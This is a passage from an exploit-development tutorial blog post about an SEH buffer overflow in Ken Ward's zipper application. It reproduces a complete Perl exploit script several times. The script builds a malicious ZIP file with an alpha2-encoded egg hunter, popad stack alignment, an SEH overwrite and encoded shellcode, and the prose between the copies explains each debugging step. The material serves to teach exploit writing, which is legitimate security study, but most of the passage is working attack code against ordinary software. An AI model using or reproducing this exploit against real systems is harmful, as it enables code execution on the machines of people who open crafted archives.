<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload.$shellcode));

$payload=$payload.$rest.$shellcode."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>Create the zip file and load it into the application. Look at what it looks like before trying to trigger the crash :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image10.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb10.png" width="556" height="257"></a> </p>
<p>Hmmm &#8211; that does not look as nice as it used to.&nbsp; The &#8220;fake&#8221; filename sits before the backslash (0x5c) in the payload, so it is treated as a folder name.&nbsp;&nbsp; The filename now contains EEEEEE&#8217;s (which is the space available for the custom decoder).</p>
<p>Attach the debugger and try to trigger the access violation : </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image11.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb11.png" width="554" height="309"></a> </p>
<p>&#8220;Couldn&#8217;t view file&#8221;&#8230; Ouch &#8211; it looks like the backslash broke our exploit. </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink43.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb43.jpg" width="200" height="100"></a> </p>
<p><em>Damn.&nbsp;&nbsp; How can we now make esp point to a good location if we cannot pop a new value into esp ?&nbsp; It even doesn&#8217;t really matter if we have to make esp point to a location below or above the custom decoder, because in order to so so, we&#8217;ll still want to pop a new value into esp.</em></p>
<blockquote>
<p>&nbsp;</p>
</blockquote>
<p>&nbsp;</p>
<h3>Fixing the esp issue</h3>
<p>This is what I did.</p>
<p>Instead of using the &#8220;forbidden&#8221; pop esp command, which would put a new value directly into esp, I used instructions that would modify the value of esp.&nbsp; A single pop or push instruction already influences esp, but we need to close a gap between the current address in esp (0x0013F00C) and a location below the custom decoder (let&#8217;s say 0x0013F908).&nbsp; There are 2300 bytes between those 2 locations, and a single pop would increase the value at ESP with 4 bytes.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb27_thumb13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb27_thumb[1]" border="0" alt="image_thumb27_thumb[1]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb27_thumb13_thumb.png" width="512" height="149"></a> </p>
<p>That would mean that we would need to write 2300 / 4 = 575 pop instructions.&nbsp;&nbsp; Ok &#8211; can be done, but there is a faster way.&nbsp; Where a pop instruction increases esp with 4 bytes, a popad instruction ( = 0&#215;61, which is also a valid character) will increase it with 32 bytes at once. That means that we would only need 2300 / 32 popad instructions = about 72 popad&#8217;s. That&#8217;s more like it.</p>
<p>The issue we have is that, instead of 5 bytes of esp alignment code, we would now need 72 popad&#8217;s.&nbsp; So after jumping back 102 bytes from nseh, there would not be enough space left to write our custom decoder before overwriting nseh.&nbsp; We will take care of this in a minute.&nbsp; First, it&#8217;s important to fully understand the impact of these changes.</p>
<p>A single popad would replace all values in all registers.&nbsp;&nbsp; We had the idea to use the current value in ebp, put that into edx, and add 1190 bytes to edx, to make edx point at the start location of the egg hunter.</p>
<p>This, obviously, cannot be done anymore. After a single popad, the value in ebp will be gone.&nbsp; So we will need to come up with another solution.&nbsp; Before we can build that solution, we need to see what the registers and stack look like after 72 popad&#8217;s are executed.&nbsp;&nbsp; </p>
<p>Furthermore, as stated earlier, we will replace the 5 esp-alignment code bytes with 72 popad&#8217;s, but there won&#8217;t be enough space left for the custom decoder.</p>
<p>So what we will do is jump back another 102 bytes and place our 72 popad&#8217;s about 204 bytes before nseh.&nbsp; That should give us more space to place and run the custom decoder.</p>
<p>The &#8220;test&#8221; payload buffer would look like this :</p>
<ul>
<li>fake filename
<li>egg hunter
<li>filler1
<li>72 popad&#8217;s
<li>filler2 (up to 102 bytes)
<li>jump back 102 bytes, to &#8220;72 popad&#8217;s&#8221;
<li>filler3 (up to 102 bytes) </li>
</ul>
<p>Total size of the payload buffer so far = 1022 bytes. Next, add to the buffer :</p>
<ul>
<li>nseh (jump back to &#8220;jump back to 72 popad&#8217;s&#8221;)
<li>seh
<li>filler4
<li>shellcode + &#8220;.txt&#8221; </li>
</ul>
<p>Total size of the payload buffer = 4068 bytes</p>
<p>&nbsp;</p>
<p>We will probably have to place the entire custom decoder at filler3, so at the end of filler2 we will have to jump to filler3 (to avoid ending up in a loop because of the jump back)</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

#alpha2 encoded egg hunter - w00t - basereg EDX
<span style="color: #0000ff">my</span> $egghunter="<span style="color: #8b0000">JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA</span>".
"<span style="color: #8b0000">Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW</span>".
"<span style="color: #8b0000">LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA</span>";

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $espalign="<span style="color: #8b0000">\x61</span>" x 72;  #make esp happy
<span style="color: #0000ff">my</span> $filler2 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($espalign));
<span style="color: #0000ff">my</span> $jmpback="<span style="color: #8b0000">\x74\xf7</span>";     #jump back 102 bytes - to $espalign
<span style="color: #0000ff">my</span> $filler3 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($jmpback));
<span style="color: #0000ff">my</span> $filler1= "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename.$egghunter.$espalign.$filler2.$jmpback.$filler3));
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<span style="color: #0000ff">my</span> $payload = $filename.$egghunter.$filler1.
$espalign.$filler2.
$jmpback.$filler3.
$nseh.$seh;

<span style="color: #0000ff">my</span> $shellcode = "<span style="color: #8b0000">w00tw00t</span>".
"<span style="color: #8b0000">\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49</span>" .
"<span style="color: #8b0000">\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51</span>" .
"<span style="color: #8b0000">\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32</span>" .
"<span style="color: #8b0000">\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41</span>" .
"<span style="color: #8b0000">\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54</span>" .
"<span style="color: #8b0000">\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61</span>" .
"<span style="color: #8b0000">\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56</span>" .
"<span style="color: #8b0000">\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48</span>" .
"<span style="color: #8b0000">\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f</span>" .
"<span style="color: #8b0000">\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b</span>" .
"<span style="color: #8b0000">\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51</span>" .
"<span style="color: #8b0000">\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50</span>" .
"<span style="color: #8b0000">\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54</span>" .
"<span style="color: #8b0000">\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30</span>" .
"<span style="color: #8b0000">\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61</span>" .
"<span style="color: #8b0000">\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55</span>" .
"<span style="color: #8b0000">\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56</span>" .
"<span style="color: #8b0000">\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31</span>" .
"<span style="color: #8b0000">\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39</span>" .
"<span style="color: #8b0000">\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38</span>" .
"<span style="color: #8b0000">\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38</span>" .
"<span style="color: #8b0000">\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b</span>" .
"<span style="color: #8b0000">\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74</span>" .
"<span style="color: #8b0000">\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39</span>" .
"<span style="color: #8b0000">\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f</span>" .
"<span style="color: #8b0000">\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65</span>" .
"<span style="color: #8b0000">\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a</span>" .
"<span style="color: #8b0000">\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59</span>" .
"<span style="color: #8b0000">\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c</span>" .
"<span style="color: #8b0000">\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58</span>" .
"<span style="color: #8b0000">\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b</span>" .
"<span style="color: #8b0000">\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48</span>" .
"<span style="color: #8b0000">\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59</span>" .
"<span style="color: #8b0000">\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79</span>" .
"<span style="color: #8b0000">\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e</span>" .
"<span style="color: #8b0000">\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35</span>" .
"<span style="color: #8b0000">\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48</span>" .
"<span style="color: #8b0000">\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64</span>" .
"<span style="color: #8b0000">\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69</span>" .
"<span style="color: #8b0000">\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50</span>" .
"<span style="color: #8b0000">\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e</span>" .
"<span style="color: #8b0000">\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61</span>" .
"<span style="color: #8b0000">\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51</span>" .
"<span style="color: #8b0000">\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f</span>" .
"<span style="color: #8b0000">\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38</span>" .
"<span style="color: #8b0000">\x46\x6a\x41\x41</span>";

<span style="color: #0000ff">my</span> $rest = "<span style="color: #8b0000">D</span>" x ($size-<span style="color: #0000ff">length</span>($payload.$shellcode));

$payload=$payload.$rest.$shellcode."<span style="color: #8b0000">.txt</span>";

<span style="color: #0000ff">my</span> $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Removing old zip file\n</span>";
<span style="color: #0000ff">system</span>("<span style="color: #8b0000">del $sploitfile</span>");
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Writing payload to file\n</span>";
<span style="color: #0000ff">open</span>(FILE,"<span style="color: #8b0000">&gt;$sploitfile</span>");
<span style="color: #0000ff">print</span> FILE $evilzip;
<span style="color: #0000ff">close</span>(FILE);
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Wrote </span>".<span style="color: #0000ff">length</span>($evilzip)."<span style="color: #8b0000"> bytes to file $sploitfile\n</span>";
<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Payload length : </span>" . <span style="color: #0000ff">length</span>($payload)."<span style="color: #8b0000">\n</span>";</pre>
<p>Create the zip file, load it in zip4.exe, attach the debugger, trigger the crash. Set a breakpoint at your SEH address and pass the exception. Breakpoint should be hit.</p>
<p>Step through the following instructions :</p>
<p>- let the pop pop ret execute and land at nseh</p>
<p>- the jump back instruction at nseh will execute a jump back to 0x0013F8A2, where our second jump back is located</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image12.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb12.png" width="358" height="158"></a> </p>
<p>- execute this second jump back, we land at the first popad instruction.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image13.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb13.png" width="286" height="155"></a> </p>
<p>- step through all 72 popad instructions. Right after the last popad instruction is executed, our registers and stack look like this :</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image14.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb14.png" width="593" height="241"></a> </p>
<p>ESP now points at 0x0013F90C.&nbsp; EIP now sits at 0x0013F884, so that is above the address in ESP. That means that &#8211; if we can write to ESP, we might be able to get the reproduced decoded code to execute.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image15.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb15.png" width="496" height="105"></a> </p>
<p>The first hurdle is taken. </p>
<p>The next step is to write the custom decoder.&nbsp; Before we can do that, we need to evaluate/modify the instructions that we want to get produced by the custom decoder. </p>
<p>The initial logic of using the value in ebp to populate edx doesn&#8217;t make sense anymore. ebp is now overwritten with 41414141, so we cannot use that address as an offset to the begin of the egg hunter. We need to use something that is dynamically generated, something that is already in the same address range, so we can just add or sub some bytes in order to get to the base address of the egg hunter.</p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink43.jpg"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="stop and think" border="0" alt="stop and think" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/stopandthink_thumb43.jpg" width="200" height="100"></a> </p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h3>Building the custom decoder</h3>
<p>As explained above, we cannot take the value from ebp to build a new value in edx&#8230;&nbsp; But there&#8217;s an easy fix for this.&nbsp; Look at the stack again. </p>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image16.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb16.png" width="346" height="131"></a> </p>
<p>The 72 popad instructions made esp point at 0x0013F90C.&nbsp; The second address on the stack (at 0x0013F910) contains &#8220;0x0013F930&#8243;, so perhaps we can use that value as base for edx, and do some basic math, in order to make it point at the address of the egg hunter (0x0013F58E).&nbsp; In fact, if we put 0x0013F930 in edx, we have to subtract 930 bytes (0x3A2) from that value to get to our desired result :</p>
<ul>
<li>sub edx,0x3A2&nbsp; (\x81\xea\xa2\x03\x00\x00)
<li>jmp edx (\xff\xe2) </li>
</ul>
<p><a href="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb41_thumb23.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image_thumb41_thumb[2]" border="0" alt="image_thumb41_thumb[2]" src="http://www.abysssec.com/blog/wp-content/uploads/2010/03/image_thumb41_thumb23_thumb.png" width="395" height="132"></a> </p>
<p>= 8 bytes of opcode</p>
<p>In short, before the custom decoder will run, we need to get the 2nd address from the stack into edx.&nbsp; Easy : just do 2 pop edx instructions right after the 72 popad&#8217;s and we get what we want (0x5a = &#8220;Z&#8221;).&nbsp; Each pop instruction will change esp with 4 bytes, but we will still have plenty of space between the end of the custom decoder and the location where the reproduced code will be written to,&nbsp; to make it work.</p>
<p>Let&#8217;s see if our theory works :</p>
<pre style="border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #e6e6e6; min-height: 40px; padding-left: 5px; width: 550px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px"># Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http:<span style="color: #008000">//www.corelan.be:8800</span>
#---------------------------------------------------
<span style="color: #0000ff">my</span> $sploitfile="<span style="color: #8b0000">corelan_kenward.zip</span>";
<span style="color: #0000ff">my</span> $ldf_header = "<span style="color: #8b0000">\x50\x4B\x03\x04\x14\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00</span>" .
"<span style="color: #8b0000">\xe4\x0f</span>" .
"<span style="color: #8b0000">\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $cdf_header = "<span style="color: #8b0000">\x50\x4B\x01\x02\x14\x00\x14</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span>" .
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x00\x00\x00</span>".
"<span style="color: #8b0000">\xe4\x0f</span>".
"<span style="color: #8b0000">\x00\x00\x00\x00\x00\x00\x01\x00</span>".
"<span style="color: #8b0000">\x24\x00\x00\x00\x00\x00\x00\x00</span>";

<span style="color: #0000ff">my</span> $eofcdf_header = "<span style="color: #8b0000">\x50\x4B\x05\x06\x00\x00\x00</span>".
"<span style="color: #8b0000">\x00\x01\x00\x01\x00</span>".
"<span style="color: #8b0000">\x12\x10\x00\x00</span>".
"<span style="color: #8b0000">\x02\x10\x00\x00</span>".
"<span style="color: #8b0000">\x00\x00</span>";

<span style="color: #0000ff">print</span> "<span style="color: #8b0000">[+] Preparing payload\n</span>";

#alpha2 encoded egg hunter - w00t - basereg EDX
<span style="color: #0000ff">my</span> $egghunter="<span style="color: #8b0000">JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA</span>".
"<span style="color: #8b0000">Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW</span>".
"<span style="color: #8b0000">LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA</span>";

<span style="color: #0000ff">my</span> $size=4064;
<span style="color: #0000ff">my</span> $<span style="color: #0000ff">offset</span>=1022;
<span style="color: #0000ff">my</span> $filename=  "<span style="color: #8b0000">Admin accounts and passwords.txt</span>".("<span style="color: #8b0000"> </span>" x 100);
<span style="color: #0000ff">my</span> $espalign="<span style="color: #8b0000">\x61</span>" x 72;  #make esp happy
<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $edxalign="<span style="color: #8b0000">\x5a\x5a</span>";  #make edx happy too
<span style="color: #0000ff">my</span> $filler2 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($espalign.$edxalign));</font></strong>
<span style="color: #0000ff">my</span> $jmpback="<span style="color: #8b0000">\x74\xf7</span>";     #jump back 102 bytes - to $espalign
<span style="color: #0000ff">my</span> $filler3 = "<span style="color: #8b0000">A</span>" x (102-<span style="color: #0000ff">length</span>($jmpback));
<strong><font color="#ff0000"><span style="color: #0000ff">my</span> $filler1= "<span style="color: #8b0000">A</span>" x ($<span style="color: #0000ff">offset</span> - <span style="color: #0000ff">length</span>($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$filler3));</font></strong>
<span style="color: #0000ff">my</span> $nseh="<span style="color: #8b0000">\x74\xf7\x90\x90</span>";   #jump back 102 bytes
<span style="color: #0000ff">my</span> $seh=<span style="color: #0000ff">pack</span>('V',0x00415A68);
<span style="color: #0000ff">my</span> $payload = $filename.$egghunter.$filler1.
$espalign.<strong><font color="#ff0000">$edxalign</font></strong>.$filler2.
$jmpback.$filler3.
$nseh.$seh;

<span style="color: #0000ff">my</span> $shellcode = "<span style="color: #8b0000">w00tw00t</span>".
"<span style="color: #8b0000">\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49</span>" .
"<span style="color: #8b0000">\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51</span>" .
"<span style="color: #8b0000">\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32</span>" .
"<span style="color: #8b0000">\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41</span>" .
"<span style="color: #8b0000">\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54</span>" .
"<span style="color: #8b0000">\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61</span>" .
"<span style="color: #8b0000">\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56</span>" .
"<span style="color: #8b0000">\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48</span>" .
"<span style="color: #8b0000">\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f</span>" .
"<span style="color: #8b0000">\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b</span>" .
"<span style="color: #8b0000">\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51</span>" .
"<span style="color: #8b0000">\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50</span>" .
"<span style="color: #8b0000">\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54</span>" .
"<span style="color: #8b0000">\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30</span>" .
"<span style="color: #8b0000">\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61</span>" .
"<span style="color: #8b0000">\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f</span>" .
"<span style="color: #8b0000">\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55</span>" .
"<span style="color: #8b0000">\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56</span>" .
"<span style="color: #8b0000">\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31</span>" .
"<span style="color: #8b0000">\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39</span>" .
"<span style="color: #8b0000">\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38</span>" .
"<span style="color: #8b0000">\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38</span>" .
"<span style="color: #8b0000">\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c</span>" .
"<span style="color: #8b0000">\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b</span>" .
"<span style="color: #8b0000">\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74</span>" .
"<span style="color: #8b0000">\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39</span>" .
"<span style="color: #8b0000">\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f</span>" .
"<span style="color: #8b0000">\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65</span>" .
"<span style="color: #8b0000">\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a</span>" .
"<span style="color: #8b0000">\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59</span>" .
